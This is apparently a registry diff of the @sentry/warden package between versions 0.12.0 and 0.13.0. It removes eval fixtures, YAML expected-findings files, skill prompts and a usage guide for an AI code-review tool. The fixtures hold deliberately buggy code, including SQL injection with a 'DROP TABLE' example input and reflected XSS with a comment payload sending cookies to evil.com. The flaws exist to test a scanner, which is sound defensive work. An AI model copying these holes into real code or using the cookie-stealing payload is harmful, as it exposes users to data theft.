@sentry/warden 0.12.0 → 0.13.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/agents.lock +59 -0
- package/dist/cli/args.d.ts +6 -0
- package/dist/cli/args.d.ts.map +1 -1
- package/dist/cli/args.js +7 -1
- package/dist/cli/args.js.map +1 -1
- package/dist/cli/commands/add.js +1 -1
- package/dist/cli/commands/add.js.map +1 -1
- package/dist/cli/commands/init.d.ts.map +1 -1
- package/dist/cli/commands/init.js +16 -8
- package/dist/cli/commands/init.js.map +1 -1
- package/dist/cli/commands/sync.d.ts.map +1 -1
- package/dist/cli/commands/sync.js +16 -4
- package/dist/cli/commands/sync.js.map +1 -1
- package/dist/cli/fix.d.ts.map +1 -1
- package/dist/cli/fix.js +6 -1
- package/dist/cli/fix.js.map +1 -1
- package/dist/cli/log-cleanup.d.ts +6 -5
- package/dist/cli/log-cleanup.d.ts.map +1 -1
- package/dist/cli/log-cleanup.js +11 -10
- package/dist/cli/log-cleanup.js.map +1 -1
- package/dist/cli/main.d.ts.map +1 -1
- package/dist/cli/main.js +44 -19
- package/dist/cli/main.js.map +1 -1
- package/dist/cli/output/formatters.d.ts +6 -1
- package/dist/cli/output/formatters.d.ts.map +1 -1
- package/dist/cli/output/formatters.js +18 -0
- package/dist/cli/output/formatters.js.map +1 -1
- package/dist/cli/output/index.d.ts +1 -1
- package/dist/cli/output/index.d.ts.map +1 -1
- package/dist/cli/output/index.js +1 -1
- package/dist/cli/output/index.js.map +1 -1
- package/dist/cli/output/jsonl.d.ts +2 -1
- package/dist/cli/output/jsonl.d.ts.map +1 -1
- package/dist/cli/output/jsonl.js +3 -3
- package/dist/cli/output/jsonl.js.map +1 -1
- package/dist/cli/output/reporter.d.ts +4 -0
- package/dist/cli/output/reporter.d.ts.map +1 -1
- package/dist/cli/output/reporter.js +14 -0
- package/dist/cli/output/reporter.js.map +1 -1
- package/dist/cli/output/tasks.d.ts +3 -1
- package/dist/cli/output/tasks.d.ts.map +1 -1
- package/dist/cli/output/tasks.js +28 -4
- package/dist/cli/output/tasks.js.map +1 -1
- package/dist/cli/terminal.d.ts +4 -3
- package/dist/cli/terminal.d.ts.map +1 -1
- package/dist/cli/terminal.js +22 -9
- package/dist/cli/terminal.js.map +1 -1
- package/dist/config/loader.d.ts +3 -1
- package/dist/config/loader.d.ts.map +1 -1
- package/dist/config/loader.js +2 -0
- package/dist/config/loader.js.map +1 -1
- package/dist/config/schema.d.ts +63 -0
- package/dist/config/schema.d.ts.map +1 -1
- package/dist/config/schema.js +19 -1
- package/dist/config/schema.js.map +1 -1
- package/dist/evals/runner.d.ts.map +1 -1
- package/dist/evals/runner.js +1 -0
- package/dist/evals/runner.js.map +1 -1
- package/dist/index.d.ts +2 -2
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +2 -0
- package/dist/index.js.map +1 -1
- package/dist/output/dedup.d.ts +14 -10
- package/dist/output/dedup.d.ts.map +1 -1
- package/dist/output/dedup.js +39 -17
- package/dist/output/dedup.js.map +1 -1
- package/dist/output/github-checks.d.ts +4 -2
- package/dist/output/github-checks.d.ts.map +1 -1
- package/dist/output/github-checks.js +12 -10
- package/dist/output/github-checks.js.map +1 -1
- package/dist/output/renderer.d.ts.map +1 -1
- package/dist/output/renderer.js +11 -7
- package/dist/output/renderer.js.map +1 -1
- package/dist/output/types.d.ts +3 -1
- package/dist/output/types.d.ts.map +1 -1
- package/dist/sdk/analyze.d.ts.map +1 -1
- package/dist/sdk/analyze.js +21 -1
- package/dist/sdk/analyze.js.map +1 -1
- package/dist/sdk/prompt.d.ts.map +1 -1
- package/dist/sdk/prompt.js +2 -0
- package/dist/sdk/prompt.js.map +1 -1
- package/dist/sdk/session.d.ts +43 -0
- package/dist/sdk/session.d.ts.map +1 -0
- package/dist/sdk/session.js +105 -0
- package/dist/sdk/session.js.map +1 -0
- package/dist/sdk/types.d.ts +3 -0
- package/dist/sdk/types.d.ts.map +1 -1
- package/dist/sdk/types.js.map +1 -1
- package/dist/skills/remote.d.ts +4 -0
- package/dist/skills/remote.d.ts.map +1 -1
- package/dist/skills/remote.js +47 -27
- package/dist/skills/remote.js.map +1 -1
- package/dist/types/index.d.ts +21 -0
- package/dist/types/index.d.ts.map +1 -1
- package/dist/types/index.js +26 -0
- package/dist/types/index.js.map +1 -1
- package/package.json +1 -1
- package/.claude-plugin/marketplace.json +0 -20
- package/.mcp.json +0 -8
- package/agents.toml +0 -7
- package/conductor.json +0 -8
- package/evals/README.md +0 -154
- package/evals/bug-detection.yaml +0 -56
- package/evals/fixtures/ignores-style-issues/utils.ts +0 -48
- package/evals/fixtures/missing-await/cache.ts +0 -45
- package/evals/fixtures/null-property-access/handler.ts +0 -36
- package/evals/fixtures/off-by-one/paginator.ts +0 -38
- package/evals/fixtures/sql-injection/api.ts +0 -59
- package/evals/fixtures/stale-closure/counter.tsx +0 -33
- package/evals/fixtures/wrong-comparison/validator.ts +0 -52
- package/evals/fixtures/xss-reflected/server.ts +0 -55
- package/evals/precision.yaml +0 -15
- package/evals/security-scanning.yaml +0 -24
- package/evals/skills/bug-detection.md +0 -33
- package/evals/skills/precision.md +0 -18
- package/evals/skills/security-scanning.md +0 -32
- package/plugins/.claude-plugin/marketplace.json +0 -14
- package/plugins/warden/.claude-plugin/plugin.json +0 -7
- package/plugins/warden/skills/warden/SKILL.md +0 -78
- package/plugins/warden/skills/warden/references/cli-reference.md +0 -144
- package/plugins/warden/skills/warden/references/config-schema.md +0 -113
- package/plugins/warden/skills/warden/references/configuration.md +0 -108
- package/plugins/warden/skills/warden/references/creating-skills.md +0 -84
- package/scripts/update-pricing.ts +0 -88
|
@@ -1,48 +0,0 @@
|
|
|
1
|
-
// This code is functionally correct but has style issues.
|
|
2
|
-
// A precision-focused eval: the skill should NOT report any of these as bugs.
|
|
3
|
-
|
|
4
|
-
// Inconsistent naming convention (camelCase vs snake_case)
|
|
5
|
-
export function calculate_total(items: number[]): number {
|
|
6
|
-
let runningTotal = 0;
|
|
7
|
-
for (let i = 0; i < items.length; i++) {
|
|
8
|
-
runningTotal = runningTotal + items[i]!;
|
|
9
|
-
}
|
|
10
|
-
return runningTotal;
|
|
11
|
-
}
|
|
12
|
-
|
|
13
|
-
// Verbose conditional (could be simplified but is correct)
|
|
14
|
-
export function isEligible(age: number, hasConsent: boolean): boolean {
|
|
15
|
-
if (age >= 18) {
|
|
16
|
-
if (hasConsent === true) {
|
|
17
|
-
return true;
|
|
18
|
-
} else {
|
|
19
|
-
return false;
|
|
20
|
-
}
|
|
21
|
-
} else {
|
|
22
|
-
return false;
|
|
23
|
-
}
|
|
24
|
-
}
|
|
25
|
-
|
|
26
|
-
// Missing JSDoc, long parameter list, but functionally correct
|
|
27
|
-
export function formatAddress(
|
|
28
|
-
street: string,
|
|
29
|
-
city: string,
|
|
30
|
-
state: string,
|
|
31
|
-
zip: string,
|
|
32
|
-
country: string
|
|
33
|
-
): string {
|
|
34
|
-
const parts = [street, city, state, zip, country];
|
|
35
|
-
return parts.filter((p) => p.length > 0).join(', ');
|
|
36
|
-
}
|
|
37
|
-
|
|
38
|
-
// Magic numbers but correct behavior
|
|
39
|
-
export function calculateDiscount(price: number, quantity: number): number {
|
|
40
|
-
if (quantity >= 100) {
|
|
41
|
-
return price * 0.8;
|
|
42
|
-
} else if (quantity >= 50) {
|
|
43
|
-
return price * 0.9;
|
|
44
|
-
} else if (quantity >= 10) {
|
|
45
|
-
return price * 0.95;
|
|
46
|
-
}
|
|
47
|
-
return price;
|
|
48
|
-
}
|
|
@@ -1,45 +0,0 @@
|
|
|
1
|
-
interface CacheEntry {
|
|
2
|
-
key: string;
|
|
3
|
-
value: string;
|
|
4
|
-
expiresAt: number;
|
|
5
|
-
}
|
|
6
|
-
|
|
7
|
-
const store = new Map<string, CacheEntry>();
|
|
8
|
-
|
|
9
|
-
async function saveToCache(key: string, value: string, ttlMs: number): Promise<void> {
|
|
10
|
-
// Simulate async storage (e.g., Redis, database)
|
|
11
|
-
await new Promise((resolve) => setTimeout(resolve, 1));
|
|
12
|
-
store.set(key, {
|
|
13
|
-
key,
|
|
14
|
-
value,
|
|
15
|
-
expiresAt: Date.now() + ttlMs,
|
|
16
|
-
});
|
|
17
|
-
}
|
|
18
|
-
|
|
19
|
-
async function loadFromCache(key: string): Promise<string | null> {
|
|
20
|
-
await new Promise((resolve) => setTimeout(resolve, 1));
|
|
21
|
-
const entry = store.get(key);
|
|
22
|
-
if (!entry) return null;
|
|
23
|
-
if (Date.now() > entry.expiresAt) {
|
|
24
|
-
store.delete(key);
|
|
25
|
-
return null;
|
|
26
|
-
}
|
|
27
|
-
return entry.value;
|
|
28
|
-
}
|
|
29
|
-
|
|
30
|
-
export async function getOrFetchData(key: string, fetchFn: () => Promise<string>): Promise<string> {
|
|
31
|
-
// Bug: missing await on loadFromCache. The result `cached` will be a
|
|
32
|
-
// Promise, which is truthy, so the function always returns a Promise
|
|
33
|
-
// object (as a string) instead of the actual cached value.
|
|
34
|
-
const cached = loadFromCache(key);
|
|
35
|
-
|
|
36
|
-
if (cached) {
|
|
37
|
-
console.log('Cache hit:', key);
|
|
38
|
-
return cached as unknown as string;
|
|
39
|
-
}
|
|
40
|
-
|
|
41
|
-
console.log('Cache miss:', key);
|
|
42
|
-
const fresh = await fetchFn();
|
|
43
|
-
await saveToCache(key, fresh, 60_000);
|
|
44
|
-
return fresh;
|
|
45
|
-
}
|
|
@@ -1,36 +0,0 @@
|
|
|
1
|
-
interface User {
|
|
2
|
-
id: string;
|
|
3
|
-
name: string;
|
|
4
|
-
email: string;
|
|
5
|
-
profile: {
|
|
6
|
-
avatar: string;
|
|
7
|
-
bio: string;
|
|
8
|
-
};
|
|
9
|
-
}
|
|
10
|
-
|
|
11
|
-
interface ApiResponse {
|
|
12
|
-
users: User[];
|
|
13
|
-
total: number;
|
|
14
|
-
}
|
|
15
|
-
|
|
16
|
-
async function fetchUsers(endpoint: string): Promise<ApiResponse> {
|
|
17
|
-
const response = await fetch(endpoint);
|
|
18
|
-
return response.json() as Promise<ApiResponse>;
|
|
19
|
-
}
|
|
20
|
-
|
|
21
|
-
export async function getUserDisplayName(userId: string): Promise<string> {
|
|
22
|
-
const data = await fetchUsers(`/api/users?id=${userId}`);
|
|
23
|
-
const user = data.users.find((u) => u.id === userId);
|
|
24
|
-
|
|
25
|
-
// Bug: user could be undefined if not found in the array,
|
|
26
|
-
// but we access .name without checking
|
|
27
|
-
const displayName = user.name;
|
|
28
|
-
const avatarUrl = user.profile.avatar;
|
|
29
|
-
|
|
30
|
-
return `${displayName} (${avatarUrl})`;
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
export async function getTeamMembers(teamId: string): Promise<string[]> {
|
|
34
|
-
const data = await fetchUsers(`/api/teams/${teamId}/members`);
|
|
35
|
-
return data.users.map((u) => u.name);
|
|
36
|
-
}
|
|
@@ -1,38 +0,0 @@
|
|
|
1
|
-
export interface PaginatedResult<T> {
|
|
2
|
-
items: T[];
|
|
3
|
-
page: number;
|
|
4
|
-
totalItems: number;
|
|
5
|
-
pageSize: number;
|
|
6
|
-
}
|
|
7
|
-
|
|
8
|
-
/**
|
|
9
|
-
* Fetch all pages of results from a paginated API endpoint.
|
|
10
|
-
* Collects items from every page and returns them as a flat array.
|
|
11
|
-
*/
|
|
12
|
-
export async function fetchAllPages<T>(
|
|
13
|
-
fetchPage: (page: number) => Promise<PaginatedResult<T>>
|
|
14
|
-
): Promise<T[]> {
|
|
15
|
-
const firstPage = await fetchPage(1);
|
|
16
|
-
const allItems: T[] = [...firstPage.items];
|
|
17
|
-
|
|
18
|
-
// Bug: Math.floor loses the last page when totalItems is not evenly
|
|
19
|
-
// divisible by pageSize. E.g., 25 items / 10 per page = 2.5, floored
|
|
20
|
-
// to 2, so page 3 (items 21-25) is never fetched.
|
|
21
|
-
const totalPages = Math.floor(firstPage.totalItems / firstPage.pageSize);
|
|
22
|
-
|
|
23
|
-
for (let page = 2; page <= totalPages; page++) {
|
|
24
|
-
const result = await fetchPage(page);
|
|
25
|
-
allItems.push(...result.items);
|
|
26
|
-
}
|
|
27
|
-
|
|
28
|
-
return allItems;
|
|
29
|
-
}
|
|
30
|
-
|
|
31
|
-
/**
|
|
32
|
-
* Get a specific page range of results.
|
|
33
|
-
*/
|
|
34
|
-
export function getPageRange(totalItems: number, pageSize: number, currentPage: number): { start: number; end: number } {
|
|
35
|
-
const start = (currentPage - 1) * pageSize;
|
|
36
|
-
const end = Math.min(start + pageSize, totalItems);
|
|
37
|
-
return { start, end };
|
|
38
|
-
}
|
|
@@ -1,59 +0,0 @@
|
|
|
1
|
-
interface DbConnection {
|
|
2
|
-
query(sql: string): Promise<Record<string, unknown>[]>;
|
|
3
|
-
}
|
|
4
|
-
|
|
5
|
-
function getConnection(): DbConnection {
|
|
6
|
-
// In production this returns a real DB connection
|
|
7
|
-
return {
|
|
8
|
-
query: async (sql: string) => {
|
|
9
|
-
console.log('Executing:', sql);
|
|
10
|
-
return [];
|
|
11
|
-
},
|
|
12
|
-
};
|
|
13
|
-
}
|
|
14
|
-
|
|
15
|
-
interface SearchParams {
|
|
16
|
-
name?: string;
|
|
17
|
-
email?: string;
|
|
18
|
-
role?: string;
|
|
19
|
-
}
|
|
20
|
-
|
|
21
|
-
/**
|
|
22
|
-
* Search for users matching the given criteria.
|
|
23
|
-
* Builds a dynamic WHERE clause from the search parameters.
|
|
24
|
-
*/
|
|
25
|
-
export async function searchUsers(params: SearchParams): Promise<Record<string, unknown>[]> {
|
|
26
|
-
const db = getConnection();
|
|
27
|
-
const conditions: string[] = [];
|
|
28
|
-
|
|
29
|
-
if (params.name) {
|
|
30
|
-
// Bug: Direct string interpolation of user input into SQL query.
|
|
31
|
-
// An attacker can pass name = "'; DROP TABLE users; --" to execute
|
|
32
|
-
// arbitrary SQL.
|
|
33
|
-
conditions.push(`name = '${params.name}'`);
|
|
34
|
-
}
|
|
35
|
-
if (params.email) {
|
|
36
|
-
conditions.push(`email = '${params.email}'`);
|
|
37
|
-
}
|
|
38
|
-
if (params.role) {
|
|
39
|
-
conditions.push(`role = '${params.role}'`);
|
|
40
|
-
}
|
|
41
|
-
|
|
42
|
-
const whereClause = conditions.length > 0
|
|
43
|
-
? `WHERE ${conditions.join(' AND ')}`
|
|
44
|
-
: '';
|
|
45
|
-
|
|
46
|
-
const sql = `SELECT id, name, email, role FROM users ${whereClause}`;
|
|
47
|
-
return db.query(sql);
|
|
48
|
-
}
|
|
49
|
-
|
|
50
|
-
/**
|
|
51
|
-
* Get a user by their ID (this one is safe - uses parameterized approach).
|
|
52
|
-
*/
|
|
53
|
-
export async function getUserById(id: number): Promise<Record<string, unknown> | null> {
|
|
54
|
-
const db = getConnection();
|
|
55
|
-
// This is safe because we validate the type
|
|
56
|
-
if (!Number.isInteger(id) || id <= 0) return null;
|
|
57
|
-
const results = await db.query(`SELECT * FROM users WHERE id = ${id}`);
|
|
58
|
-
return results[0] ?? null;
|
|
59
|
-
}
|
|
@@ -1,33 +0,0 @@
|
|
|
1
|
-
import { useState, useEffect } from 'react';
|
|
2
|
-
|
|
3
|
-
interface CounterProps {
|
|
4
|
-
initialValue: number;
|
|
5
|
-
step: number;
|
|
6
|
-
intervalMs: number;
|
|
7
|
-
}
|
|
8
|
-
|
|
9
|
-
/**
|
|
10
|
-
* An auto-incrementing counter that ticks at a given interval.
|
|
11
|
-
*/
|
|
12
|
-
export function AutoCounter({ initialValue, step, intervalMs }: CounterProps) {
|
|
13
|
-
const [count, setCount] = useState(initialValue);
|
|
14
|
-
|
|
15
|
-
useEffect(() => {
|
|
16
|
-
// Bug: This closure captures `count` once at mount time.
|
|
17
|
-
// Every tick reads the same stale `count` value and sets
|
|
18
|
-
// count to initialValue + step, over and over. The counter
|
|
19
|
-
// never actually increments past the first tick.
|
|
20
|
-
const id = setInterval(() => {
|
|
21
|
-
setCount(count + step);
|
|
22
|
-
}, intervalMs);
|
|
23
|
-
|
|
24
|
-
return () => clearInterval(id);
|
|
25
|
-
// eslint-disable-next-line react-hooks/exhaustive-deps
|
|
26
|
-
}, []);
|
|
27
|
-
|
|
28
|
-
return (
|
|
29
|
-
<div>
|
|
30
|
-
<span data-testid="count">{count}</span>
|
|
31
|
-
</div>
|
|
32
|
-
);
|
|
33
|
-
}
|
|
@@ -1,52 +0,0 @@
|
|
|
1
|
-
interface Permission {
|
|
2
|
-
resource: string;
|
|
3
|
-
action: 'read' | 'write' | 'delete';
|
|
4
|
-
role: string;
|
|
5
|
-
}
|
|
6
|
-
|
|
7
|
-
const ROLE_HIERARCHY: Record<string, number> = {
|
|
8
|
-
viewer: 0,
|
|
9
|
-
editor: 1,
|
|
10
|
-
admin: 2,
|
|
11
|
-
superadmin: 3,
|
|
12
|
-
};
|
|
13
|
-
|
|
14
|
-
/**
|
|
15
|
-
* Check if a user's role has sufficient permissions for an action.
|
|
16
|
-
* Returns true if the user is allowed to perform the action.
|
|
17
|
-
*/
|
|
18
|
-
export function hasPermission(userRole: string, requiredRole: string): boolean {
|
|
19
|
-
const userLevel = ROLE_HIERARCHY[userRole] ?? 0;
|
|
20
|
-
const requiredLevel = ROLE_HIERARCHY[requiredRole] ?? 0;
|
|
21
|
-
|
|
22
|
-
// Bug: should be >= but uses <=, so only users with LOWER privilege
|
|
23
|
-
// than required are granted access (e.g., a viewer can perform admin
|
|
24
|
-
// actions, but an admin cannot).
|
|
25
|
-
return userLevel <= requiredLevel;
|
|
26
|
-
}
|
|
27
|
-
|
|
28
|
-
/**
|
|
29
|
-
* Filter a list of permissions to only those a user can perform.
|
|
30
|
-
*/
|
|
31
|
-
export function filterAllowedActions(
|
|
32
|
-
userRole: string,
|
|
33
|
-
permissions: Permission[]
|
|
34
|
-
): Permission[] {
|
|
35
|
-
return permissions.filter((p) => hasPermission(userRole, p.role));
|
|
36
|
-
}
|
|
37
|
-
|
|
38
|
-
/**
|
|
39
|
-
* Validate that a user can perform a specific action on a resource.
|
|
40
|
-
*/
|
|
41
|
-
export function validateAccess(
|
|
42
|
-
userRole: string,
|
|
43
|
-
resource: string,
|
|
44
|
-
action: string,
|
|
45
|
-
permissions: Permission[]
|
|
46
|
-
): boolean {
|
|
47
|
-
const matching = permissions.find(
|
|
48
|
-
(p) => p.resource === resource && p.action === action
|
|
49
|
-
);
|
|
50
|
-
if (!matching) return false;
|
|
51
|
-
return hasPermission(userRole, matching.role);
|
|
52
|
-
}
|
|
@@ -1,55 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Simple HTTP request handler for a search page.
|
|
3
|
-
* Renders search results with the query term displayed back to the user.
|
|
4
|
-
*/
|
|
5
|
-
export function handleSearchRequest(url: string): string {
|
|
6
|
-
const parsed = new URL(url, 'http://localhost:3000');
|
|
7
|
-
const query = parsed.searchParams.get('q') ?? '';
|
|
8
|
-
const page = parseInt(parsed.searchParams.get('page') ?? '1', 10);
|
|
9
|
-
|
|
10
|
-
// Simulate search results
|
|
11
|
-
const results = performSearch(query, page);
|
|
12
|
-
|
|
13
|
-
// Bug: The query string from the URL is interpolated directly into HTML
|
|
14
|
-
// without escaping. An attacker can craft a URL like:
|
|
15
|
-
// /search?q=<script>document.location='http://evil.com/?c='+document.cookie</script>
|
|
16
|
-
// and the script will execute in the victim's browser.
|
|
17
|
-
return `
|
|
18
|
-
<!DOCTYPE html>
|
|
19
|
-
<html>
|
|
20
|
-
<head><title>Search Results</title></head>
|
|
21
|
-
<body>
|
|
22
|
-
<h1>Search Results</h1>
|
|
23
|
-
<p>Showing results for: <strong>${query}</strong></p>
|
|
24
|
-
<p>Page ${page} of ${results.totalPages}</p>
|
|
25
|
-
<ul>
|
|
26
|
-
${results.items.map((item) => `<li>${escapeHtml(item.title)}</li>`).join('\n')}
|
|
27
|
-
</ul>
|
|
28
|
-
</body>
|
|
29
|
-
</html>
|
|
30
|
-
`;
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
function escapeHtml(text: string): string {
|
|
34
|
-
return text
|
|
35
|
-
.replace(/&/g, '&')
|
|
36
|
-
.replace(/</g, '<')
|
|
37
|
-
.replace(/>/g, '>')
|
|
38
|
-
.replace(/"/g, '"');
|
|
39
|
-
}
|
|
40
|
-
|
|
41
|
-
interface SearchResult {
|
|
42
|
-
items: { title: string; url: string }[];
|
|
43
|
-
totalPages: number;
|
|
44
|
-
}
|
|
45
|
-
|
|
46
|
-
function performSearch(query: string, page: number): SearchResult {
|
|
47
|
-
// Stub implementation
|
|
48
|
-
return {
|
|
49
|
-
items: [
|
|
50
|
-
{ title: `Result for "${query}" - item 1`, url: '/result/1' },
|
|
51
|
-
{ title: `Result for "${query}" - item 2`, url: '/result/2' },
|
|
52
|
-
],
|
|
53
|
-
totalPages: Math.max(1, page),
|
|
54
|
-
};
|
|
55
|
-
}
|
package/evals/precision.yaml
DELETED
|
@@ -1,15 +0,0 @@
|
|
|
1
|
-
skill: skills/precision.md
|
|
2
|
-
|
|
3
|
-
evals:
|
|
4
|
-
- name: ignores-style-issues
|
|
5
|
-
given: functionally correct code with style issues (mixed naming conventions, verbose conditionals, magic numbers)
|
|
6
|
-
files:
|
|
7
|
-
- fixtures/ignores-style-issues/utils.ts
|
|
8
|
-
should_find:
|
|
9
|
-
- finding: "no bugs: the code is functionally correct despite having style issues, so zero or only info-level findings are expected"
|
|
10
|
-
required: false
|
|
11
|
-
should_not_find:
|
|
12
|
-
- inconsistent naming convention (snake_case vs camelCase)
|
|
13
|
-
- missing JSDoc comments
|
|
14
|
-
- verbose conditional that could be simplified
|
|
15
|
-
- magic numbers in discount calculation
|
|
@@ -1,24 +0,0 @@
|
|
|
1
|
-
skill: skills/security-scanning.md
|
|
2
|
-
|
|
3
|
-
evals:
|
|
4
|
-
- name: sql-injection
|
|
5
|
-
given: SQL query built via string interpolation with user-supplied search parameters
|
|
6
|
-
files:
|
|
7
|
-
- fixtures/sql-injection/api.ts
|
|
8
|
-
should_find:
|
|
9
|
-
- finding: "SQL injection: user input from params.name, params.email, and params.role is directly interpolated into SQL query without parameterization"
|
|
10
|
-
severity: critical
|
|
11
|
-
should_not_find:
|
|
12
|
-
- the getConnection helper implementation
|
|
13
|
-
- missing email format validation as the primary issue
|
|
14
|
-
|
|
15
|
-
- name: xss-reflected
|
|
16
|
-
given: HTML template that renders URL query parameter directly into page without escaping
|
|
17
|
-
files:
|
|
18
|
-
- fixtures/xss-reflected/server.ts
|
|
19
|
-
should_find:
|
|
20
|
-
- finding: "reflected XSS: the query parameter from the URL is interpolated into HTML via template literal without calling escapeHtml()"
|
|
21
|
-
severity: critical
|
|
22
|
-
should_not_find:
|
|
23
|
-
- hardcoded port number
|
|
24
|
-
- missing HTTPS as the primary issue
|
|
@@ -1,33 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: eval-bug-detection
|
|
3
|
-
description: Test skill for bug detection evals. Finds logic errors, null handling bugs, async issues, and edge cases.
|
|
4
|
-
---
|
|
5
|
-
|
|
6
|
-
You are an expert bug hunter analyzing code changes.
|
|
7
|
-
|
|
8
|
-
## What to Report
|
|
9
|
-
|
|
10
|
-
Find bugs that will cause incorrect behavior at runtime:
|
|
11
|
-
|
|
12
|
-
- Null/undefined property access without guards
|
|
13
|
-
- Off-by-one and boundary errors
|
|
14
|
-
- Missing await on async operations
|
|
15
|
-
- Wrong comparison operators (< vs <=, && vs ||)
|
|
16
|
-
- Stale closures capturing outdated values
|
|
17
|
-
- Type coercion causing unexpected behavior
|
|
18
|
-
|
|
19
|
-
## What NOT to Report
|
|
20
|
-
|
|
21
|
-
- Style or formatting preferences
|
|
22
|
-
- Missing error handling that "might" matter
|
|
23
|
-
- Performance concerns (unless causing incorrect behavior)
|
|
24
|
-
- Unused variables or dead code
|
|
25
|
-
- Missing tests or documentation
|
|
26
|
-
- Security vulnerabilities (separate concern)
|
|
27
|
-
|
|
28
|
-
## Output Requirements
|
|
29
|
-
|
|
30
|
-
For each bug, provide:
|
|
31
|
-
- The exact file and line
|
|
32
|
-
- What incorrect behavior occurs
|
|
33
|
-
- What specific input or condition triggers it
|
|
@@ -1,18 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: eval-precision
|
|
3
|
-
description: Test skill for precision evals. Only reports logic bugs, nothing else.
|
|
4
|
-
---
|
|
5
|
-
|
|
6
|
-
You are a strict bug detector. You ONLY report provable logic bugs.
|
|
7
|
-
|
|
8
|
-
## Rules
|
|
9
|
-
|
|
10
|
-
1. Only report bugs that WILL cause incorrect behavior
|
|
11
|
-
2. You must be able to construct a specific input that triggers failure
|
|
12
|
-
3. Do NOT report style, formatting, naming, or documentation issues
|
|
13
|
-
4. Do NOT report missing error handling
|
|
14
|
-
5. Do NOT report performance concerns
|
|
15
|
-
6. Do NOT report security vulnerabilities
|
|
16
|
-
7. If the code is correct, return an empty findings array
|
|
17
|
-
|
|
18
|
-
Be extremely conservative. When in doubt, do not report.
|
|
@@ -1,32 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: eval-security-scanning
|
|
3
|
-
description: Test skill for security scanning evals. Finds injection, XSS, and other OWASP Top 10 vulnerabilities.
|
|
4
|
-
---
|
|
5
|
-
|
|
6
|
-
You are a security expert analyzing code changes for vulnerabilities.
|
|
7
|
-
|
|
8
|
-
## What to Report
|
|
9
|
-
|
|
10
|
-
Find security vulnerabilities that could be exploited:
|
|
11
|
-
|
|
12
|
-
- SQL injection (unsanitized input in queries)
|
|
13
|
-
- Cross-site scripting (XSS) - reflected and stored
|
|
14
|
-
- Command injection
|
|
15
|
-
- Path traversal
|
|
16
|
-
- Authentication/authorization bypasses
|
|
17
|
-
- Insecure cryptography
|
|
18
|
-
|
|
19
|
-
## What NOT to Report
|
|
20
|
-
|
|
21
|
-
- Code quality or style issues
|
|
22
|
-
- Performance concerns
|
|
23
|
-
- Missing but non-security error handling
|
|
24
|
-
- Hardcoded configuration values (unless they are secrets)
|
|
25
|
-
- Missing HTTPS (unless specifically relevant)
|
|
26
|
-
|
|
27
|
-
## Output Requirements
|
|
28
|
-
|
|
29
|
-
For each vulnerability:
|
|
30
|
-
- The exact file and line
|
|
31
|
-
- The attack vector (how it could be exploited)
|
|
32
|
-
- Severity based on exploitability and impact
|
|
@@ -1,78 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: warden
|
|
3
|
-
description: Run Warden to analyze code changes before committing. Use when asked to "run warden", "check my changes", "review before commit", "warden config", "warden.toml", "create a warden skill", "add trigger", or any Warden-related local development task.
|
|
4
|
-
---
|
|
5
|
-
|
|
6
|
-
Run Warden to analyze code changes before committing.
|
|
7
|
-
|
|
8
|
-
## References
|
|
9
|
-
|
|
10
|
-
Read the relevant reference when the task requires deeper detail:
|
|
11
|
-
|
|
12
|
-
| Document | Read When |
|
|
13
|
-
|----------|-----------|
|
|
14
|
-
| `${CLAUDE_SKILL_ROOT}/references/cli-reference.md` | Full option details, per-command flags, examples |
|
|
15
|
-
| `${CLAUDE_SKILL_ROOT}/references/configuration.md` | Editing warden.toml, triggers, patterns, troubleshooting |
|
|
16
|
-
| `${CLAUDE_SKILL_ROOT}/references/config-schema.md` | Exact field names, types, and defaults |
|
|
17
|
-
| `${CLAUDE_SKILL_ROOT}/references/creating-skills.md` | Writing custom skills, remote skills, skill discovery |
|
|
18
|
-
|
|
19
|
-
## Running Warden
|
|
20
|
-
|
|
21
|
-
```bash
|
|
22
|
-
# Analyze uncommitted changes (uses warden.toml triggers)
|
|
23
|
-
warden
|
|
24
|
-
|
|
25
|
-
# Run a specific skill
|
|
26
|
-
warden --skill find-bugs
|
|
27
|
-
|
|
28
|
-
# Analyze specific files
|
|
29
|
-
warden src/auth.ts src/database.ts
|
|
30
|
-
|
|
31
|
-
# Analyze changes from a git ref
|
|
32
|
-
warden main..HEAD
|
|
33
|
-
warden HEAD~3
|
|
34
|
-
|
|
35
|
-
# Auto-apply suggested fixes
|
|
36
|
-
warden --fix
|
|
37
|
-
|
|
38
|
-
# Fail on high-severity findings
|
|
39
|
-
warden --fail-on high
|
|
40
|
-
```
|
|
41
|
-
|
|
42
|
-
Set `WARDEN_ANTHROPIC_API_KEY` or log in via `claude login` before running.
|
|
43
|
-
|
|
44
|
-
## Pre-Commit Workflow
|
|
45
|
-
|
|
46
|
-
After making code changes and before committing:
|
|
47
|
-
|
|
48
|
-
1. Run `warden` to analyze uncommitted changes
|
|
49
|
-
2. Review the findings
|
|
50
|
-
3. Fix issues Warden reports (or use `warden --fix` to auto-apply)
|
|
51
|
-
4. Commit the changes
|
|
52
|
-
|
|
53
|
-
Run Warden once to validate work. Do not loop re-running Warden on the same changes.
|
|
54
|
-
|
|
55
|
-
## Reading Output
|
|
56
|
-
|
|
57
|
-
**Severity levels:**
|
|
58
|
-
- `critical` - Must fix before merge
|
|
59
|
-
- `high` - Should fix before merge
|
|
60
|
-
- `medium` - Worth reviewing
|
|
61
|
-
- `low` - Minor improvement
|
|
62
|
-
- `info` - Informational only
|
|
63
|
-
|
|
64
|
-
**Exit codes:** `0` = no findings at or above fail threshold. `1` = findings at or above fail threshold.
|
|
65
|
-
|
|
66
|
-
**Verbosity:** `-v` shows real-time findings. `-vv` shows debug info (tokens, latency). `-q` shows errors and summary only.
|
|
67
|
-
|
|
68
|
-
## Commands
|
|
69
|
-
|
|
70
|
-
| Command | Description |
|
|
71
|
-
|---------|-------------|
|
|
72
|
-
| `warden` | Run analysis (default) |
|
|
73
|
-
| `warden init` | Initialize warden.toml and GitHub workflow |
|
|
74
|
-
| `warden add [skill]` | Add skill trigger to warden.toml |
|
|
75
|
-
| `warden sync [remote]` | Update cached remote skills |
|
|
76
|
-
